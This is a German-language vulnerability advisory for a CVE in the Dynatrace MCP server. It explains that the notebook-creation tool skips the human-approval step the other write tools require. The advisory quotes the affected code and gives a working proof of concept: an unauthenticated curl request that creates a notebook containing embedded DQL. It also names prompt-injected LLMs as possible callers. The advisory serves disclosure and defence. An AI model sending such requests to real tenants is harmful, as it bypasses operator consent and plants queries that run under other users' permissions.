Dynatrace-oss Dynatrace-mcp: fehlende Autorisierung (CVE-2026-123812)

Zusammenfassung

Ein fehlendes menschliches Genehmigungstor im Tool create_dynatrace_notebook ermöglicht einem Aufrufer, dauerhafte, für den Mandanten sichtbare Dokumente mit beliebigem Inhalt (einschließlich eingebetteter DQL-Abfragen, die von anderen Benutzern ausgeführt werden, wenn sie das Notizbuch öffnen) ohne Zustimmung des Betreibers zu erstellen.

Details

dynatrace-mcp-server registriert sechs Schreibtools: send_slack_message, send_email, send_event, create_workflow_for_notification, make_workflow_public und create_dynatrace_notebook. Fünf dieser Tools rufen requestHumanApproval() auf, bevor sie die Nebenwirkung ausführen, was die explizite Zustimmung des Betreibers über das MCP-Elicitationsprotokoll einholt. Das CHANGELOG gibt an, dass diese Genehmigungstore hinzugefügt wurden "um die Zustimmung der Benutzer sicherzustellen und unbeabsichtigte Aktionen zu verhindern."

create_dynatrace_notebook ruft requestHumanApproval() nicht auf. Das Tool wurde in einer separaten Veröffentlichung vom Genehmigungsgate-Retrofit eingeführt und blieb ungated. Daher kann ein Aufrufer dauerhafte, für den Mandanten sichtbare Dynatrace-Notizbücher mit beliebigem Inhalt ohne Bestätigung des Betreibers erstellen. Notizbücher können eingebettete DQL-Abfragen enthalten, die später unter den Berechtigungen eines beliebigen Mandantenbenutzers ausgeführt werden, der sie öffnet.

Der anfällige Code befindet sich in src/index.ts, Zeilen 1563-1601:

tool(
  'create_dynatrace_notebook',
  'Create Dynatrace Notebook',
  'Create a new notebook in the Dynatrace platform ...',
  {
    name: z.string().describe(/* ... */),
    description: z.string().optional().describe(/* ... */),
    content: z.array(z.object({
      type: z.enum(['dql', 'markdown']),
      text: z.string(),
    })).describe(/* ... */),
  },
  {
    readOnlyHint: false,
  },
  async ({ name, content, description }) => {
    const dtClient = await createAuthenticatedHttpClient(allRequiredScopes);
    const data = await createDynatraceNotebook(dtClient, name, content, description);
    // Kein Aufruf von requestHumanApproval().
    // Keine destructiveHint-Anmerkung.
    // Angeforderte Bereiche sind allRequiredScopes (die breiteste mögliche Menge)
    // obwohl nur document:documents:write benötigt wird.

    return data
      ? `Document created successfully: ${dtEnvironment}/ui/apps/dynatrace.notebooks/notebook/${data.id}`
      : 'document creation failed';
  },
);

Im Vergleich ruft jedes andere Schreibtool requestHumanApproval() als erste Aktion auf:

• send_email (Zeile 1274): const approved = await requestHumanApproval(...);
• send_slack_message (Zeile 652): const approved = await requestHumanApproval(...);
• send_event (Zeile 1367): const approved = await requestHumanApproval(...);
• create_workflow_for_notification (Zeile 1069): const approved = await requestHumanApproval(...);
• make_workflow_public (Zeile 1118): const approved = await requestHumanApproval(...);

PoC

End-to-End getestet gegen einen realen Dynatrace-Mandanten. Der MCP-Server wurde im HTTP-Modus mit dem Plattform-Token des Betreibers gestartet:

export DT_ENVIRONMENT=https://<tenant>.apps.dynatrace.com
export DT_PLATFORM_TOKEN=dt0s16....
npx -y @dynatrace-oss/dynatrace-mcp-server@1.8.5 --http --port 3000

Ein einzelner unauthentifizierter POST von einem Prozess ohne eigene Dynatrace-Anmeldeinformationen:

curl -sS http://127.0.0.1:3000/ \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{
    "jsonrpc": "2.0", "id": 1, "method": "tools/call",
    "params": {
      "name": "create_dynatrace_notebook",
      "arguments": {
        "name": "Unapproved notebook",
        "description": "Created without operator approval.",
        "content": [
          {"type": "markdown", "text": "# This notebook was created without approval"},
          {"type": "dql",      "text": "fetch logs | limit 10"}
        ]
      }
    }
  }'

Die Antwort:

event: message
data: {"result":{"content":[{"type":"text","text":"Document created successfully:
       https://<tenant>.apps.dynatrace.com/ui/apps/dynatrace.notebooks/notebook/<uuid>"}]},
       "jsonrpc":"2.0","id":1}

Das Notizbuch ist innerhalb weniger Sekunden in der Notebooks-App des Betreibers sichtbar. Es wurde keine Elicitationsaufforderung an einen Operatorclient gesendet.

Im Gegensatz dazu gibt dieselbe Vorrichtung, die send_email oder send_slack_message aufruft, zurück:

"Operation cancelled: Human approval was not granted for sending this email."

Die Gate-Logik existiert und ist für alle anderen Schreibtools verkabelt - sie fehlt einfach bei create_dynatrace_notebook.

Auswirkungen

• Ein Aufrufer (ein unauthentifizierter Netzwerkangreifer über den HTTP-Transport, wenn die Authentifizierung fehlt, oder ein prompt-injiziertes LLM im stdio-Modus) kann stillschweigend dauerhafte, für den Mandanten sichtbare Dokumente erstellen.
• Der Inhalt des Notizbuchs wird vom Angreifer kontrolliert. Eingebettete DQL-Abfragen werden unter den Berechtigungen eines beliebigen Mandantenbenutzers ausgeführt, der das Notizbuch später öffnet - ein Muster für gespeicherte DQL, das Identitätsgrenzen innerhalb des Mandanten überschreitet.